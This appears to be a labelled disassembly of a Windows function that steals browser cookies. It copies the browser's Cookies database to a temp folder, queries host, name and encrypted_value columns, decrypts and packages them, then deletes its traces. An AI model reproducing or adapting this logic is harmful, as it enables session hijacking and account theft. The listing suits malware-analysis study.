Function at 0x1400032e0
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Delete file
Get common file path
Get file attributes
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5c8]
sub rsp, 0x6c8
mov rdi, rdx
mov r15, rcx
add rcx, 0x90
cmp qword [rcx + 0x18], 8
jb 0x140003317
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rdx, str.sqlite3_open
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x68], rax
lea rdx, str.sqlite3_prepare_v2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.sqlite3_step
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x620], rax
lea rdx, str.sqlite3_column_text
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov qword [rbp + 0xb0], rax
lea rdx, str.sqlite3_column_blob
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x98], rax
lea rdx, str.sqlite3_column_int
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa0], rax
lea rdx, str.sqlite3_column_bytes
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
lea rdx, str.sqlite3_close
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc0], rax
lea rdx, str.sqlite3_free
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_finalize
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb8], rax
mov rdx, qword [rdi + 0x10]
movabs rsi, 0x7ffffffffffffffe
mov rcx, rsi
sub rcx, rdx
cmp rcx, 0x10
jb 0x140003d11
mov r9, rdi
mov ebx, 8
cmp qword [rdi + 0x18], rbx
jb 0x14000342a
mov r9, qword [rdi]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recv
lea rax, str.NetworkCookies
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x38]
call fcn.140006f04
nop
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], rbx
cmovae rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor r13d, r13d
cmp eax, 0xffffffff
je 0x140003471
test al, 0x10
je 0x14000350d
mov rcx, qword [rdi + 0x10]
mov rax, rsi
sub rax, rcx
cmp rax, rbx
jb 0x140003d17
mov r9, rdi
cmp qword [rdi + 0x18], rbx
jb 0x140003490
mov r9, qword [rdi]
mov qword [rsp + 0x30], rbx
lea rax, str.Cookies
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x58]
call fcn.140006f04
lea rcx, [rbp - 0x38]
call fcn.140006790
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp - 0x28], xmm1
movdqa xmm0, xmmword [0x1400409a0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], r13w
lea rcx, [rsp + 0x58]
call fcn.140006790
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], rbx
cmovae rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003796
test al, 0x10
jne 0x140003796
lea rcx, [rbp - 0x58]
call fcn.140001afc
mov rbx, rax
lea rdx, [rbp + 0x3c0]
mov ecx, 0xff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov qword [rsp + 0x58], r13
movdqa xmm0, xmmword [0x1400409a0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], r13w
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x58]
call fcn.1400067f4
nop
mov r8, rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.140006ad8
nop
lea rcx, [rsp + 0x58]
call fcn.140006790
nop
lea rcx, [rbp - 0x58]
call fcn.140006790
mov qword [rbp + 0x78], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x78]
call fcn.140006870
nop
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rcx, qword [rsp + 0x78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x148]
call fcn.140001afc
mov rbx, rax
mov rcx, qword [rbp - 0x78]
sub rsi, rcx
cmp rsi, 1
jb 0x140003d0b
lea r9, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 1
lea rax, [0x14003f3e8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x58]
call fcn.140006f04
nop
mov r8, rbx
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x58]
call fcn.140006ad8
mov rbx, rax
lea rax, [rsp + 0x78]
cmp rax, rbx
je 0x140003650
lea rcx, [rsp + 0x78]
call fcn.140006790
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
lea rcx, [rbp - 0x58]
call fcn.140006790
nop
lea rcx, [rsp + 0x58]
call fcn.140006790
nop
lea rcx, [rbp + 0x148]
call fcn.140006790
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x58]
call fcn.140006870
nop
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x58]
call fcn.140006870
nop
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rdx, qword [rbp - 0x58]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rsp + 0x58]
call fcn.140006790
lea rcx, [rbp - 0x58]
call fcn.140006790
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
mov ebx, 0x100
mov r8d, ebx
lea rcx, [rbp + 0x1c0]
call fcn.140015e3c
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x168]
call fcn.1400010d4
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 8
jb 0x140003736
mov rdx, qword [rdi]
mov r8, rbx
lea rcx, [rbp + 0x2c0]
call fcn.140015e3c
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x58]
call fcn.1400010d4
nop
lea rdx, [rbp + 0x628]
mov rsi, qword [rbp + 0x168]
mov rcx, rsi
call qword [rbp - 0x68]
test eax, eax
je 0x1400037be
mov rcx, qword [rbp + 0x58]
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x78]
call fcn.140006790
nop
lea rcx, [rsp + 0x78]
call fcn.140006790
nop
lea rcx, [rbp - 0x38]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
xor eax, eax
add rsp, 0x6c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x610]
or r8d, 0xffffffff
lea rdx, str.SELECT_host_key__name__path__encrypted_value__expires_utc__is_httponly__is_secure_FROM_cookies
mov rcx, qword [rbp + 0x628]
call r12
test eax, eax
jne 0x14000376e
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x68]
call fcn.140001184
mov rbx, rax
lea r8, str.SPLIT_BROWSER__COOKIE
lea rdx, [rbp - 0x18]
lea rcx, [r15 + 0x10]
call fcn.1400013a8
nop
mov r8, rbx
lea rdx, [rbp - 8]
mov rcx, rax
call fcn.140001218
nop
lea r8, str.____
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.1400013a8
mov rdx, rax
lea rcx, [r15 + 0x10]
call fcn.1400014b4
nop
mov rcx, qword [rbp - 8]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x18]
call fcn.14000f0f0
mov rcx, qword [rbp + 0x610]
call qword [rbp + 0x620]
cmp eax, 0x64
jne 0x140003c81
xor edx, edx
mov rcx, qword [rbp + 0x610]
call r14
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.1400010d4
nop
mov edx, 1
mov rcx, qword [rbp + 0x610]
call r14
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.1400010d4
nop
mov edx, 2
mov rcx, qword [rbp + 0x610]
call r14
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.1400010d4
nop
mov edx, 3
mov rcx, qword [rbp + 0x610]
call qword [rbp + 0x98]
mov r12, rax
mov edx, 4
mov rcx, qword [rbp + 0x610]
call r14
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400010d4
nop
mov edx, 5
mov rcx, qword [rbp + 0x610]
mov rbx, qword [rbp + 0xa0]
call rbx
lea rdx, str.FALSE
test eax, eax
lea r14, str.TRUE
cmove rdx, r14
lea rcx, [rbp + 0x38]
call fcn.1400010d4
nop
mov edx, 6
mov rcx, qword [rbp + 0x610]
call rbx
lea rdx, str.FALSE
test eax, eax
cmove rdx, r14
lea rcx, [rbp + 0x28]
call fcn.1400010d4
nop
mov r14, qword [rbp - 8]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov rbx, qword [rbp + 8]
test eax, eax
jne 0x140003974
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140003974
test r12, r12
je 0x140003c48
cmp dword [rbp], 0
jne 0x140003991
cmp dword [rbp + 0x10], 0
jne 0x140003991
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140003bf1
mov edx, 3
mov rcx, qword [rbp + 0x610]
call qword [rbp + 0xa8]
mov dword [r15 + 0xc0], eax
lea rdx, [0x14003f348]
lea rcx, [rbp + 0x18]
call fcn.1400010d4
nop
lea r8, [rbp + 0x18]
mov rdx, r12
mov rcx, r15
call fcn.140003158
mov rdx, qword [rbp + 0x18]
lea rcx, [0x14003f348]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x140003be4
lea rdx, [0x14003f6c0]
lea rcx, [rbp - 0x68]
call fcn.1400010d4
nop
lea rdx, [0x14003f6c4]
lea rcx, [rbp + 0x68]
call fcn.1400010d4
nop
lea rdx, [0x14003f348]
lea rcx, [rsp + 0x48]
call fcn.1400010d4
nop
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x178]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x188]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x198]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x1a8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xc8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xd8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xe8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xf8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x108]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x118]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x128]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x138]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x148]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x58]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001318
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call fcn.140001184
mov rdx, rax
lea rcx, [r15 + 0x10]
call fcn.140001318
nop
mov rcx, qword [rsp + 0x48]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x68]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x68]
call fcn.14000f0f0
inc r13d
mov rcx, qword [rbp + 0x18]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x28]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x38]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x48]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x18]
call fcn.14000f0f0
nop
mov rcx, rbx
call fcn.14000f0f0
nop
mov rcx, r14
call fcn.14000f0f0
mov rcx, qword [rbp + 0x610]
call qword [rbp + 0x620]
cmp eax, 0x64
jne 0x140003c81
mov r14, qword [rbp + 0xb0]
jmp 0x14000386b
mov rcx, qword [rbp + 0x28]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x38]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x48]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x18]
call fcn.14000f0f0
nop
mov rcx, rbx
call fcn.14000f0f0
nop
mov rcx, r14
call fcn.14000f0f0
mov rcx, qword [rbp + 0x610]
call qword [rbp + 0xb8]
mov rcx, qword [rbp + 0x628]
call qword [rbp + 0xc0]
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x78]
cmp qword [rbp + 0x90], 8
cmovae rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
mov rcx, qword [rbp + 0x58]
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x78]
call fcn.140006790
nop
lea rcx, [rsp + 0x78]
call fcn.140006790
nop
lea rcx, [rbp - 0x38]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
mov eax, r13d
jmp 0x1400037aa
call fcn.140001740
nop
call fcn.140001740
nop
call fcn.140001740
int3